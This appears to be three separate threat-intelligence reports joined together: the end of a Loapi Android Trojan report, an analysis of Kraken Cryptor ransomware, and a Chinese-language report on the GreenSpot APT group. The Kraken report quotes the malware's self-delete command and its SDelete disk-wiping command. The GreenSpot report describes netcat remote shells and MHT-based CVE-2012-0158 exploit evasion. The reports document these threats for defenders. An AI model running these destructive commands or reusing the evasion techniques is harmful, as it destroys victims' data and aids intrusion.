investigation, we found a potential connection between Loapi and Trojan.AndroidOS.Podec. We gathered some evidence to support this theory: - Matching C&C server IP addresses. - Matching unique fields at the initial information collection stage. - Similar obfuscation. - Similar ways of detecting SU on a device. - Similar functionality (both can subscribe users to paid services). None of these arguments can be considered conclusive proof of our theory, but taken together they suggest there’s a high probability that the malicious applications Podec and Loapi were created by the same group of cybercriminals. ## Conclusion Loapi is an interesting representative from the world of malicious Android apps. Its creators have implemented almost the entire spectrum of techniques for attacking devices: the Trojan can subscribe users to paid services, send SMS messages to any number, generate traffic and make money from showing advertisements, use the computing power of a device to mine cryptocurrencies, as well as perform a variety of actions on the internet on behalf of the user/device. The only thing missing is user espionage, but the modular architecture of this Trojan means it’s possible to add this sort of functionality at any time.
# Fallout Exploit Kit Releases the Kraken Ransomware on Its Victims October 30, 2018 Alexandr Solad and Daniel Hatheway of Recorded Future are coauthors of this post. Rising from the deep, Kraken Cryptor ransomware has had a notable development path in recent months. The first signs of Kraken came in mid-August on a popular underground forum. In mid-September, it was reported that the malware developer had placed the ransomware, masquerading as a security solution, on the website SuperAntiSpyware, infecting systems that tried to download a legitimate version of the antispyware software. Kraken’s presence became more apparent at the end of September when the security researcher nao_sec discovered that the Fallout Exploit Kit, known for delivering GandCrab ransomware, also started to deliver Kraken. The McAfee Advanced Threat Research team, working with the Insikt group from Recorded Future, found evidence of the Kraken authors asking the Fallout team to be added to the Exploit Kit. With this partnership, Kraken now has an additional malware delivery method for its criminal customers. We also found that the user associated with Kraken ransomware, ThisWasKraken, has a paid account. Paid accounts are not uncommon on underground forums, but usually, malware developers who offer services such as ransomware are highly trusted members and are vetted by other high-level forum members. Members with paid accounts are generally distrusted by the community. Kraken Cryptor’s developers asking to join the Fallout Exploit Kit. The ransomware was announced, in Russian, with the following features: - Encoded in C# (.NET 3.5) - Small stub size ~85KB - Fully autonomous - Collects system information as an encrypted message for reference - File size limit for encryption - Encryption speed faster than ever - Uses a hybrid combination of encryption algorithms (AES, RC4, Salsa20) for secure and fast encryption with a unique key for each file - Enables the use of a network resource and adds an expansion bypass mode for encrypting all files on non-OS disks - Is impossible to recover data using a recovery center or tools without payment - Added antidebug, antiforensic methods Kraken works with an affiliate program, as do ransomware families such as GandCrab. This business scheme is often referred to as Ransomware-as-a-Service (RaaS). Affiliates are given a new build of Kraken every 15 days to keep the payload fully undetectable from antimalware products. According to ThisWasKraken, when a victim asks for a free decryption test, the affiliate member should send one of the victim’s files with its associated unique key to the Kraken Cryptor ransomware support service. The service will decrypt the file and resend it to the affiliate member to forward to the victim. After the victim pays the full ransom, the affiliate member sends a percentage of the received payment to the RaaS developers to get a decryptor key, which is forwarded to the victim. This system ensures the affiliate pays a percentage to the affiliate program and does not simply pocket the full amount. The cut for the developers offers them a relatively safe way of making a profit without exposing themselves to the risk of spreading ransomware. We have observed that the profit percentage for the developers has decreased from 25% in Version 1 to 20% in Version 2. The developers might have done this to attract more affiliates. To enter the program, potential affiliates must complete a form and pay $50 to be accepted. In the Kraken forum post, it states that the ransomware cannot be used in the following countries: - Armenia - Azerbaijan - Belarus - Estonia - Georgia - Iran - Kazakhstan - Kyrgyzstan - Latvia - Lithuania - Moldova - Russia - Tajikistan - Turkmenistan - Ukraine - Uzbekistan On October 21, Kraken’s authors released Version 2 of the affiliate program, reflecting the ransomware’s popularity and a fresh release. At the same time, the authors published a map showing the distribution of their victims. Note that some of the countries on the developers’ exclusion list have infections. Video promotions The first public release of Kraken Cryptor was Version 1.2; the latest is Version 2.07. To promote the ransomware, the authors created a video showing its capabilities to potential customers. We analyzed the metadata of the video and believe the authors created it along with the first version, released in August. In the video, the authors show how fast Kraken can encrypt data on the system. Actor indications The Advanced Threat Research team and Recorded Future’s Insikt group analyzed all the forum messages posted by ThisWasKraken. Based on the Russian language used in the posts, we believe ThisWasKraken is neither a native Russian nor English speaker. To make forum posts in Russian, the actor likely uses an automated translation service, suggested by the awkward phrasing indicative of such a service. In contrast, the actor is noticeably more proficient in English, though they make mistakes consistently in both sentence structure and spelling. English spelling errors are also noticeable in the ransom note. ThisWasKraken is likely part of a team that is not directly involved in the development of the ransomware. The actor’s role is customer-facing, through the Jabber account thiswaskraken@exploit[.]im. Communications with ThisWasKraken show that the actor refers all technical issues to the product support team at teamxsupport@protonmail[.]com. Payments Bitcoin is the only currency the affiliate program uses. Insikt Group identified several wallets associated with the operation. Kraken’s developers appear to have chosen BitcoinPenguin, an online gambling site, as the primary money laundering conduit. It is very uncommon for criminal actors, and specifically ransomware operators, to bypass traditional cryptocurrency exchangers when laundering stolen funds. One of the decisive factors for the unusual choice was likely BitcoinPenguin’s lack of requiring identity verification by its members, allowing anyone to maintain an anonymous cryptocurrency wallet. Although in response to regulatory demands, cryptocurrency exchangers continue to stiffen their registration rules, online crypto casinos do not have to follow the same know-your-customer guidelines, providing a convenient loophole for all kinds of money launderers. Bitcoin transactions associated with Kraken analyzed with the Crystal blockchain tool. The parent Bitcoin wallet is 3MsZjBte81dvSukeNHjmEGxKSv6YWZpphH. Kraken Cryptor at work The ransomware encrypts data on the disk very quickly and uses external tools, such as SDelete from the Sysinternals suite, to wipe files and make file recovery harder. The Kraken Cryptor infection scheme. The ransomware has implemented a user account control (UAC) bypass using the Windows Event Viewer. This bypass technique is used by other malware families and is quite effective for executing malware. The technique is well explained in an article by blogger enigma0x3. We analyzed an early subset of Kraken ransomware samples and determined they were still in the testing phase, adding and removing options. The ransomware has implemented a “protection” to delete itself during the infection phase: `“C:\Windows\System32\cmd.exe” /C ping 127.0.0.1 -n 3 > NUL&&del /Q /F /S “C:\Users\Administrator\AppData\Local\Temp\krakentemp0000.exe”` This step is to prevent researchers and endpoint protections from catching the file on an infected machine. Kraken encrypts user files with a random name and drops the ransom note demanding the victim pay to recover them. McAfee recommends not paying ransoms because doing so contributes to the development of more ransomware families. Kraken’s ransom note. Each file extension is different; this technique is often used by specific ransomware families to bypass endpoint protection systems. Kraken delivered by the exploit kit bypasses the UAC using Event Viewer, drops a file on the system, and executes it through the UAC bypass method. The binary delivered by the exploit kit. The authors of the binary forgot during the compilation of the first versions to delete the PDB reference, revealing that the file has a relationship with Kraken Cryptor. The early versions contained the following path: `C:\Users\Krypton\source\repos\UAC\UAC\obj\\Release\UAC.pdb.` Later versions dropped the PDB path together with the Kraken loader. Using SysInternals tools One unique feature of this ransomware family is the use of SDelete. Kraken uses a .bat file to perform certain operations, making file recovery much more challenging: Kraken downloads SDelete from the Sysinternals website, adds the registry key accepting the EULA to avoid the pop-up, and executes it with the following arguments: `sdelete.exe -c -z C` The SDelete batch file makes file recovery much harder by overwriting all free space on the drive with zeros, deleting the Volume Shadow Copies, disabling the recovery reboot option, and finally rebooting the system after 300 seconds. Netguid comparison The earlier versions of Kraken were delivered by a loader before it moved to a direct execution method. The loader we examined contained a specific netguid. With this, we found additional samples of the Kraken loader on VirusTotal. Not only did the loader have a specific netguid, but the compiled versions of Kraken also shared a netguid, making it possible to continue hunting samples. Comparing versions Kraken uses a configuration file in every version to set the variables for the ransomware. This file is easily extracted for additional analysis. Based on the config file, we have discovered nine versions of Kraken: - 1.2 - 1.3 - 1.5 - 1.5.2 - 1.5.3 - 1.6 - 2.0 - 2.0.4 - 2.0.7 By extracting the config files from all the versions, we built the following overview of features. (The √ means the feature is present.) All the versions we examined mostly contain the same options, changing only in some of them the antivirtual protection and antiforensic capabilities. The latest version, Kraken 2.0.7, changed its configuration scheme. We will cover that later in this article. Other differences in Kraken’s config file include the list of countries excluded from encryption. The standouts are Brazil and Syria, which were not named in the original forum advertisement. Having an exclusion list is a common method of cybercriminals to avoid prosecution. Brazil’s addition to the list in Version 1.5 suggests the involvement of a Brazilian affiliate. The following table shows the exclusion list by country and version. (The √ means the country appears on the list.) All the Kraken releases have excluded the same countries, except for Brazil, Iran, and Syria. Regarding Syria: We believe that the Kraken actors have had the same change of heart as the actors behind GandCrab, who recently released decryption keys for Syrian victims after a tweet claimed they had no money to pay the ransoms. GandCrab’s change of heart regarding Syrian victims. Version 2.0.7 The most recent version we examined comes with a different configuration scheme. This release has more options. We expect this malware will be more configurable than other active versions. APIs and statistics One of the new features is a public API to track the number of victims. Another API is a hidden service to track certain statistics. The Onion URL can be found easily in the binary. The endpoint and browser Kraken uses is hardcoded in the config file. Kraken gathers the following information from every infection: - Status - Operating system - Username - Hardware ID - IP address - Country - City - Language - HDCount - HDType - HDName - HDFull - HDFree - Privilege - Operate - Beta Kraken infrastructure In Versions 1.2 through 2.04, Kraken contacts blasze[.]tk to download additional files. The site has Cloudflare protection to mitigate against DDoS attacks. The domain is not accessible from many countries. McAfee coverage McAfee detects this threat with the following signatures: - Artemis!09D3BD874D9A - Artemis!475A697872CA - Artemis!71F510C40FE5 - Artemis!99829D5483EF - Artemis!CE7606CFDFC0 - Artemis!F1EE32E471A4 - RDN/Generic.dx - RDN/Generic.tfr - RDN/Ransom Indicators of compromise **Kraken loader hashes:** - 564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd - 53a28d3d29e655deca6702c98e71a9bd52a5a6de05524234ab362d27bd71a543 **Kraken ransomware samples hashes:** - 9e967a759e894a83c4b693e81c031d7214a8e699 - 1655eb1118cc900f86b8d6467988f15648e3bc97 - dd832f01d83be81a1d3afe8344fe0d0f9c02ae76 - 3004b5ce8f496c6f6c539075142a7d8e98d43c5e - 96f7a3256434589dd131ab6500b385febcddd5bd - 09c2ec559f7760f59c9bfb39d171107ed0877f89 - 3024e7f0e04ba0115c292cfd5bc54c350bd9e66a - 617426cb5656ad925734be4cb39fe265550e37e8 - 5ed4b6bd93f026000aa05b373c1580c7290714b8 - d8d8fad628b871ddfcddb01730456d03e67188ee - 3edaac2012d7582682df588f63bf78c222b7f348 - 1c6f0d5b7a7177f67a8b78ea0205819e0563120d - 9e967a759e894a83c4b693e81c031d7214a8e699 - e9e13458cff0f31263d802b1b31fc0630aef35fa - e5f8d925ee95a1c95be1f1346acd935b70e85428 - b1fa4d1c518c00668107193d3296c5b2f05ca12c - 24683738ef9c5d7cff30c17ec6df6575a62859d7 - d5db2499bbd849d715074e07a1fe56d60c868c6d - 669605b2968e3eca80c9366f973dc589057227e5 - 299df78d09734d2c7337b1874bfd43e2050b14f7 - d67c5d1d2af0d137ad9796fa5d9ed73a4e28b8be - 225debde67b8293512c9d4825e2ec85b9868c7e2 - e4bc2e4c2829684fcd4352539e3d8349a7b9fe7b - ca7835865133121788bb07fb49cedad3e9601656 - 12431515b0bed686a64f27f536644c0d7b8415a8 - 6578c6b09deaead98513517dc0bcdce0a2bfe091 - c86dfcef3b348d59391d8e4a724b6328a4cc97ea - 345692e03227cc66634b6ad401dd11b7fcf243ed - 45ba0e803159f7b014c22435d5cd9224f2064544 - 00f06b15494dd72057b7688b88914bef6a19fec9 - c3c4d0061dce6ed695f666fb0dd0b8b8c62d8a9a - 75eb19f0037b30abc5003458db883833149c39de - d1bed69e8ee7d4eab573d02d5137454c8f675c46 - 564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd - 3a28d3d29e655deca6702c98e71a9bd52a5a6de05524234ab362d27bd71a543 - 047de76c965b9cf4a8671185d889438e4b6150326802e87470d20a3390aad304 - 0b6cd05bee398bac0000e9d7032713ae2de6b85fe1455d6847578e9c5462391f - 159b392ec2c052a26d6718848338011a3733c870f4bf324863901ec9fbbbd635 - 180406f298e45f66e205bdfb2fa3d8f6ead046feb57714698bdc665548bebc95 - 1d7251ca0b60231a7dbdbb52c28709a6533dcfc4a339f4512955897c7bb1b009 - 2467d42a4bdf74147ea14d99ef51774fec993eaef3c11694125a3ced09e85256 - 2b2607c435b76bca395e4ef4e2a1cae13fe0f56cabfc54ee3327a402c4ee6d6f - 2f5dec0a8e1da5f23b818d48efb0b9b7065023d67c617a78cd8b14808a79c0dc - 469f89209d7d8cc0188654e3734fba13766b6d9723028b4d9a8523100642a28a - 4f13652f5ec4455614f222d0c67a05bb01b814d134a42584c3f4aa77adbe03d0 - 564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd - 61396539d9392ae08b2c9836dd19a58efb541cf0381ea6fef28637aae63084ed **Jabber:** thiswaskraken@exploit[.]im **Email addresses found in the binaries and configuration files:** - BM-2cUEkUQXNffBg89VwtZi4twYiMomAFzy6o@bitmessage(.)ch - BM-2cWdhn4f5UyMvruDBGs5bK77NsCFALMJkR@bitmessage(.)ch - nikolatesla@cock(.)li - nikolateslaproton@protonmail(.)com - oemfnwdk838r@mailfence(.)com - onionhelp@memeware(.)net - powerhacker03@hotmail(.)com - shfwhr2ddwejwkej@tutanota(.)com - shortmangnet@420blaze(.)it - teamxsupport@protonmail[.]com **Bitcoin address:** 3MsZjBte81dvSukeNHjmEGxKSv6YWZpphH **PDBs found in the loader samples:** `C:\Users\Krypton\source\repos\UAC\UAC\obj\\Release\UAC.pdb` **Associated Filenames:** - C:\ProgramData\Safe.exe - C:\ProgramData\EventLog.txt - # How to Decrypt Files.html - Kraken.exe - Krakenc.exe - Release.bat - <random>.bat - Sdelete.exe - Sdelete64.exe - <random>.exe - CabXXXX.exe - TarXXXX.exe - SUPERAntiSpywares.exe - KrakenCryptor.exe - 73a94429b321dfc_QiMAWc2K2W.exe - auService.exe - file.exe - bbdefac4e59207._exe - Build.exe **Ransomware demo version:** [Link removed] **Kraken Unique Key** **MITRE ATT&CK™ techniques:** - Data compressed - Email collection - File and directory - File deletion - Hooking - Kernel modules and extensions - Modify registry - Process injection - Query registry - Remote system - Security software - Service execution - System information - System time **Yara rules** The McAfee Advanced Threat Research team created Yara rules to detect the Kraken ransomware. The rules are available on our Github repository. **John Fokker** John Fokker is a Principal Engineer and Head of Cyber Investigations for the Advanced Threat Research. Prior to joining the team, he worked at the National High Tech Crime Unit.
# “绿斑”行动 ——持续多年的攻击 ## 概述 在过去的数年时间里,安天始终警惕地监测、分析、跟踪着各种针对中国的 APT 攻击活动,并谨慎地披露了“海莲花”(APT-TOCS)、“白象”(White Elephant)、“方程式”(Equation)等攻击组织的活动或攻击装备分析,同时也对更多的攻击组织和行动形成了持续监测分析成果。本报告主要分析了某地缘性攻击组织在 2015 年前的攻击活动,安天以与该地区有一定关联的海洋生物作为该攻击组织的名字——“绿斑”(GreenSpot)。为提升中国用户的安全意识,推动网络安全与信息化建设,安天公布这份报告。 综合来看,“绿斑”组织的攻击以互联网暴露目标和资产为攻击入口,采用社工邮件结合漏洞进行攻击,其活跃周期可能长达十年以上。 ### 1.1 疑似的早期(2007 年)攻击活动 在 2007 年,安天对来自该地区的网络入侵活动进行了应急响应,表 1-1 是在相关被攻击的服务器系统上所提取到的相关攻击载荷的主要行为和功能列表。 **表 0-1 早期 “绿斑”组织攻击活动相关载荷及功能列表** | 原始文件名 | 主要行为 | 功能描述 | |------------|----------|----------| | nc.exe | 开放端口,接收远程指令在本地执行。 | 使用 TCP 或 UDP 协议的网络连接建立一个 shell,通过网络发送命令对主机进行控制。 | | mt1.exe | 根据输入参数完成各类系统管理功能。 | 综合行命令工具,如获取系统信息、进程服务管理、账户管理、网络信息查看等。 | | http.exe | 开放 80 端口,提供 HTTP 服务。 | 提供 HTTP 访问服务,为攻击者提供收集的文件下载的服务。 | | h.exe | 与 http.exe 类似,提供 http 服务。 | 一款名为 Tiny HTTP Server 的公开工具,可以隐藏的提供 HTTP 服务。 | | rar.exe | 根据输入命令参数,遍历磁盘文件打包指定的文件。 | 即 RAR 压缩软件的绿色版本,通过命令行将文件压缩打包,方便攻击者披露收集文件。 | | hport.exe | 添加服务启动项,完成载荷的自启动。 | 释放衍生恶意载荷并完成对目标主机的持久化驻留。 | | keylog.exe | 收集键盘输入并写入指定文件。 | 一款通用键盘记录工具。 | | spooler.exe | 以服务方式自启动,监控系统磁盘文件列表变化。 | 监控硬盘文件列表的工具。 | 这些工具多数为开源或免费工具,从而形成了攻击方鲜明的 DIY 式的作业风格。由于这些工具多数不是专门为恶意意图所编写的恶意代码,有的还是常见的网管工具,因此反而起到了一定的“免杀”效果。但同时,这种 DIY 作业,并无 Rootkit 技术的掩护,给系统环境带来的变化较为明显,作业粒度也较为粗糙。同时只能用于控制可以被攻击跳板直接链接的节点,而无法反向链接。和其他一些 APT 攻击中出现的自研木马、商用木马相比,是一种相对低成本、更多依靠作业者技巧的攻击方式。 这些工具可以在被入侵环境中形成一个作业闭环。攻击者使用网络渗透手段进入目标主机后,向目标主机上传表 1-1 中的多种攻击载荷,利用持久化工具达成开机启动效果,实现长期驻留;通过 NC 开启远程 Shell 实现对目标主机远程命令控制;调用 Mt1.exe 获取系统基本信息和进一步的管理;同时攻击者可以通过 Spooler.exe 形成磁盘文件列表并记录,通过 keylog.exe 收集键盘输入并记录,通过 Rar.exe 收集指定的文件并打包,通过 HTTP.exe 开启 HTTP 服务,即可远程获取全盘文件列表,获取用户击键记录,回传要收集的文件和日志。 我们倾向认为,2007 年前后,相关攻击组织总体上自研能力有限,对开源和免费工具比较依赖,喜好行命令作业。同时,作业风格受到类似 Coolfire 式的早期网络渗透攻击教程的影响较大。目前我们无法确认这一攻击事件与我们后面命名的“绿斑”组织是同一个组织,但可以确定其来自同一个来源方向。 ### 1.2 2011-2015 年攻击活动 从时间上来看,自 2010 年以后,该地区组织攻击能力已经有所提升,善于改良 1day 和陈旧漏洞进行利用,能够对公开的网络攻击程序进行定制修改,也出现了自研的网络攻击装备。2010 年以后相关活动明显增多、攻击能力提升较快。 “绿斑”组织主要针对中国政府部门和航空、军事相关的科研机构进行攻击。该组织通过鱼叉式钓鱼邮件附加漏洞文档或捆绑可执行文件进行传播,主要投放 RAT(Remote Administration Tool,远程管理工具)程序对目标主机进行控制和信息窃取,其典型攻击手法和流程是以邮件为载体进行传播,邮件附件中包含恶意文档,文档以 MHT 格式居多(MHT 是 MIME HTML 的缩写,是一种用来保存 HTML 文件的格式),该文档打开后会释放并执行可执行载荷。作为迷惑用户的一种方法,嵌入在 MHT 中的一份起到欺骗作用的正常的文档文件也会被打开显示。 通过人工分析结合安天追影威胁分析系统及安天分析平台进行关联分析,我们对其攻击目标、攻击者采用的 IP 和常见的手法进行了梳理。该组织利用漏洞的文件是不常见的附件文件格式,相关攻击技术和手法也是经过长期准备和试验的。安天基于原始线索对该组织进行了全面跟踪、关联、分析,最终获得了近百条 IoC(信标)数据。通过对事件和样本的整体分析,我们梳理了该组织在 2011-2014 年的部分活动时间轴。 ### 1.3 近期的部分攻击活动(2017 年) “绿斑”组织在 2015 年后继续活跃,我们在 2017 年监测到该组织建立了一个新的传播源,该次活动的载荷都存储在同一个 WEB 服务器上,每一个攻击流程内的载荷都按照目录存放,其攻击流程是首先传播含有漏洞的 Office 文档,通过漏洞文档下载执行恶意载荷(EXE),随后通过 C2 对目标主机进行远程控制。 该 WEB 服务器上存放了多个不同配置的恶意脚本和可执行文件,一个目录下是一组攻击样本,最终运行的 Poison Ivy ShellCode(Poison Ivy 是一个远程管理工具)都会连接一个单独 C2 地址,图 1-5 中红色的域名(pps.*.com)是与 2011-2015 年活动相关联的 C2 域名。 ## 2 攻击手法分析:通过定向社工邮件传送攻击载荷 ### 2.1 典型案例 针对“绿斑”组织 2011-2015 年间的攻击活动中,安天通过监测发现和关联分析,梳理出了数十起事件和载荷的关联关系。通过对典型案例的基本信息和诱饵文件等进行分析,我们可以看出“绿斑”组织多采用通过定向社工邮件传送攻击载荷,攻击载荷有两种:一种是捆绑型 PE 恶意代码,在被攻击者打开执行后,其会打开嵌入在 PE 中的欺骗收件人的“正常”文档文件;另一种是格式攻击文档,利用漏洞 CVE-2012-0158 来释放并执行可执行文件,同时打开欺骗收件人的“正常”文档文件。但在两种攻击方式中,所释放的可执行文件路径和名称相同,除部分案例采用 %TEMP% 路径外,其他均为 C:\Documents and Settings\All Users\「开始」菜单\程序\启动\update.exe,来达成开机执行的持久化效果,从释放路径、文件名称可以看出这些样本是具有关联性的(具体分析参见 4.4 节)。从时间上来看,使用捆绑型 PE 恶意代码的攻击晚于漏洞文档,这有可能是在利用漏洞文档攻击无效后,才使用了这种虽然简单粗暴但可能最有效的方式。 #### 2.1.1 案例 1 | 标签 | 文件名 | 病毒名 | |------|--------|--------| | 恶意文档 | 通知.doc | Trojan[Exploit]/MSWord.CVE-2012-0158 | | 释放载荷 | C:\Documents and Settings\All Users\「开始」菜单\程序\启动\update.exe | Trojan[Backdoor]/Win32.Poison | #### 2.1.2 案例 2 | 标签 | 文件名 | 病毒名 | |------|--------|--------| | 恶意文档 | 国家******局 2012年第 5号公告.doc | Trojan[Exploit]/MSWord.CVE-2012-0158 | | 释放载荷 | C:\Documents and Settings\All Users\「开始」菜单\程序\启动\update.exe | Trojan[Backdoor]/Win32.Poison | #### 2.1.3 案例 3 | 标签 | 文件名 | 病毒名 | |------|--------|--------| | 恶意文档 | 两会重要发布报告.doc | Trojan[Exploit]/MSWord.CVE-2012-0158 | | 释放载荷 | C:\Documents and Settings\All Users\「开始」菜单\程序\启动\update.exe | Trojan[Backdoor]/Win32.Poison | 另外值得注意的是,图 2-3 中相关文字内容为从“全国人民代表大会网站”页面直接复制粘贴的内容。 #### 2.1.4 案例 4 | 标签 | 文件名 | 病毒名 | |------|--------|--------| | 恶意文档 | 重要通知.doc | Trojan[Exploit]/MSWord.CVE-2012-0158 | | 释放载荷 | C:\Documents and Settings\All Users\「开始」菜单\程序\启动\update.exe | Trojan[Backdoor]/Win32.Gh0st | #### 2.1.5 案例 5 | 标签 | 文件名 | 病毒名 | |------|--------|--------| | 捆绑型 PE 恶意代码 | 关于推荐第十届中国青年科技奖候选人的通知.exe | Trojan/Win32.Agent | | 释放载荷 | C:\Documents and Settings\All Users\「开始」菜单\程序\启动\update.exe | Trojan[Backdoor]/Win32.HttpBots | #### 2.1.6 案例 6 | 标签 | 文件名 | 病毒名 | |------|--------|--------| | 恶意文档 | 2013 中国亚洲太平洋学会年会文件.doc | Trojan[Exploit]/MSWord.CVE-2012-0158 | | 释放载荷 | C:\Documents and Settings\All Users\「开始」菜单\程序\启动\update.exe | Trojan[Backdoor]/Win32.ZXShell | #### 2.1.7 案例 7 | 标签 | 文件名 | 病毒名 | |------|--------|--------| | 捆绑型 PE 恶意代码 | 2014 年学术年会征集论文.exe | Trojan/Win32.Agent | #### 2.1.8 案例 8 | 标签 | 文件名 | 病毒名 | |------|--------|--------| | 捆绑型 PE 恶意代码 | 中国国际问题研究学会推荐表.exe | Trojan/Win32.Agent | #### 2.1.9 案例 9 | 标签 | 文件名 | 病毒名 | |------|--------|--------| | 捆绑型 PE 恶意代码 | 科研项目经费自查.exe | Trojan/Win32.Agent | ### 2.2 社工技巧分析 “绿斑”攻击组织主要针对被攻击者的职业、岗位、身份等定制文档内容,伪装成中国政府的公告、学会组织的年会文件、相关单位的通知,以及被攻击者可能感兴趣的政治、经济、军事、科研、地缘安全等内容,其所使用的欺骗性文档多数下载自中国相关部委机构、学会的网站。 ## 3 攻击载荷分析:漏洞、后门及可执行文件 ### 3.1 CVE-2012-0158 漏洞利用 CVE-2012-0158 是一个文档格式溢出漏洞,格式溢出漏洞的利用方式是在正常的文档中插入精心构造的恶意代码,从表面上看其是一个正常的文档,很难引起用户的怀疑,因此经常被用于 APT 攻击。CVE-2012-0158 漏洞是各种 APT 攻击中迄今为止使用频度最高的。利用该漏洞的载体通常是 RTF 格式的文件,其内部数据以十六进制字符串形式保存。 #### 3.1.1 由 RTF 到 MHT 的高级对抗 传统的 CVE-2012-0158 漏洞利用格式主要以 RTF 为主,而该组织则使用了 MHT 格式,这种格式同样可以触发漏洞,而且在当时一段时间内可以躲避多种杀毒软件的查杀。 如果使用 RTF 文件格式构造可触发漏洞的文件,在解码后会在文件中出现 CLSID(CLSID 是指 Windows 系统对于不同的应用程序、文件类型、OLE 对象、特殊文件夹以及各种系统组件分配一个唯一表示它的 ID 代码),而新的利用方式使用 MHT 文件格式,CLSID 会出现在 MHT 文件中,由于之前的 RTF 溢出格式嵌套 DOC 文档,CLSID 存放于嵌套的 DOC 文档里。 MHT 文件的主要功能是将一个离线网页的所有文件保存在一个文件中,方便浏览。将文件后缀修改为 .doc 后,Microsoft Word 是可以正常打开的。 该文件可以分为三个部分:第一部分是一个网页;第二部分是一个 base64 编码的数据文件,名为“ocxstg001.mso”,该文件解码后为一个复合式文档即 DOC 文档;第三部分的数据是二进制文件。 在第一部分我们发现了一段代码,该代码描述了第一部分和第二部分的关系也是导致漏洞触发的关键。 这段代码大致表示当网页加载的时候同时加载一个 COM 控件去解释第二部分的数据。该控件的 CLSID 是 {**********-11D1-B16A-00C0F0283628},经过查询该控件便是 MSCOMCTL.OCX。当时已知的与该控件有关的最新漏洞是 CVE-2012-0158,因此可以确定这三个案例是通过精心构造 MHT 文件,利用漏洞 CVE-2012-0158 来执行,从而实现可执行文件的释放和执行。 #### 3.1.2 值得关注漏洞载荷免杀技巧的利用 “绿斑”组织高频使用 MHT 漏洞格式文档的传播利用时间主要在 2013 年 5 月之前,这是一个高度值得关注的信息。我们基于对某个著名的第三方威胁情报源利用 CVE-2012-0158 漏洞并采用 MHT 文件格式的恶意代码数据进行了相关统计。 从图中我们可以看到,2013 年 3 月前,MHT 文件格式的 CVE-2012-0158 漏洞相关文件并未出现,但已经被“绿斑”组织使用。我们尚不能认为“绿斑”组织是这种免杀方式的发明者,但至少其是这种方式的早期使用者。 ### 3.2 CVE-2014-4114 漏洞利用 我们有一定的分析证据表明,“绿斑”组织在 2014 年 10 月前曾使用 CVE-2014-4114 漏洞。这可能表示该组织与地下漏洞交易有相应的渠道联系。 ### 3.3 CVE-2017-8759 漏洞利用 安天 2017 年针对“绿斑”组织的一个新的前导攻击文档进行了分析,该文档利用最新的 CVE-2017-8759 漏洞下载恶意代码到目标主机执行。样本采用 RTF 格式而非之前的宏代码方式,在无须用户交互的情况下就可以直接下载并执行远程文件,攻击效果更好。 CVE-2017-8759 漏洞是由一个换行符引发的漏洞,该漏洞影响所有主流的 .NET Framework 版本。在 .NET 库中的 SOAP WSDL 解析模块 IsValidUrl 函数没有正确处理包含回车换行符的情况,导致调用者函数 PrintClientProxy 存在代码注入执行漏洞,目前该漏洞主要被用于 Office 文档高级威胁攻击。 ### 3.4 相关载荷分析 #### 3.4.1 Poison Ivy RAT 后门 我们经过分析,发现案例 1、案例 2、案例 3、案例 9 中所释放的 update.exe,均为 Poison Ivy RAT 后门程序,Poison Ivy 是一款已经公开的、著名的 RAT 程序,功能强大,生成的载荷小巧易于加密和对抗检测。正因 Poison Ivy 有这些优点,因此也被其他攻击组织使用在其他攻击事件中。 #### 3.4.2 Gh0st 后门 通过我们对于案例 4 中 update.exe 的分析,得到该样本所使用的互斥量为“chinaheikee__inderjns”,该互斥量与我们分析过的 gh0st 样本的互斥量一致,是默认配置,而且上线数据包与 gh0st 3.75 版本非常一致,因此我们可以判定该 update.exe 为 gh0st 后门。 #### 3.4.3 HttpBots 后门 通过我们对于案例 5 中 svchost.exe 的分析,可以确定该样本实际是一个 BOT 后门程序。svchost.exe 通过 Web 端来控制安装有该后门程序的机器。 #### 3.4.4 ZXShell 后门(针对性) 经过安天分析,案例 6、7、8 中释放的 PE 文件确定为 ZXShell 后门家族(分别为 3 个不同版本),是使用 ZXShell 源码修改后编译的,具有 ZXShell 后门常规功能:系统信息获取、文件管理、进程查看等。 ## 4 样本关联性分析 ### 4.1 多案例横向关联 安天 CERT 对典型案例中的前 6 个案例的相关信息进行了关联分析,主要涉及文件名、互斥量、文件版本信息等,通过横向关联以及之前提到的 doc 文件内容、漏洞利用方式、可执行文件的相关信息,我们初步判定这些事件之间是存在关联的。 ### 4.2 域名关联 通过提取和整理十几个有关联样本中的域名信息,我们可以很清晰地看出,所有域名均为动态域名,且服务提供商均处于境外,同时大部分域名都是通过 changeip.com 和 no-ip.com 注册的,我们认为这些域名并非单一散乱注册的,而是属于同一来源的、有组织的进行注册。 ### 4.3 IP 地址关联 通过提取和整理十几个有关联样本中域名的曾跳转 IP 和现跳转 IP,我们可以很清晰地看出,在所有的 IP 地址中,绝大多数的 IP 地址都属于同一地区,并且这些 IP 多数来自两个互联网地址分派机构 AS3462、和 AS18182,每个互联网地址分派机构管理现实中的一个区域,这也同时说明了这是一组有相同来源的攻击事件。 ### 4.4 恶意代码之间关联性 为了方便呈现和理解,我们对典型案例中所有的样本、C2 的关联性进行了关系梳理。通过研究发现,虽然“绿斑”组织使用了多种不同的后门程序,但是它们之间共用了 C2 服务器,这很有可能是为了方便管理与控制。 ## 5 组织关联性分析 除以上样本分析中所呈现的较为直接的多起事件的关联性外,安天 CERT 还进行了对比分析,从代码相似性、域名使用偏好、C2 的 IP 地址关联性及地理位置特性等方面得出了这些载荷均来自“绿斑”攻击组织的结论。 ### 5.1 代码相似性 在 2011-2015 的行动中,攻击组织使用了 4 类远程控制程序,其中主要使用 ZXShell 和 Poison Ivy。在对于 Poison Ivy 的使用中,攻击组织首先生成 Poison Ivy 的 ShellCode,然后对 ShellCode 异或加密硬编码到 Loader 中,在 Loader 投放到目标主机后解密执行 ShellCode。这种手法与 2017 年所发现行动中样本完全相同,且都是采用三次异或加密。 ### 5.2 域名使用偏好 在 2017 年发现的行动中全部使用了动态域名商,而在 2011-2015 年的行动中则使用了 35 个动态域名商。可以发现两起行动的攻击者都偏好使用动态域名,同时本次行动中有 7 个动态域名商与历史行动涉及的域名商相同。
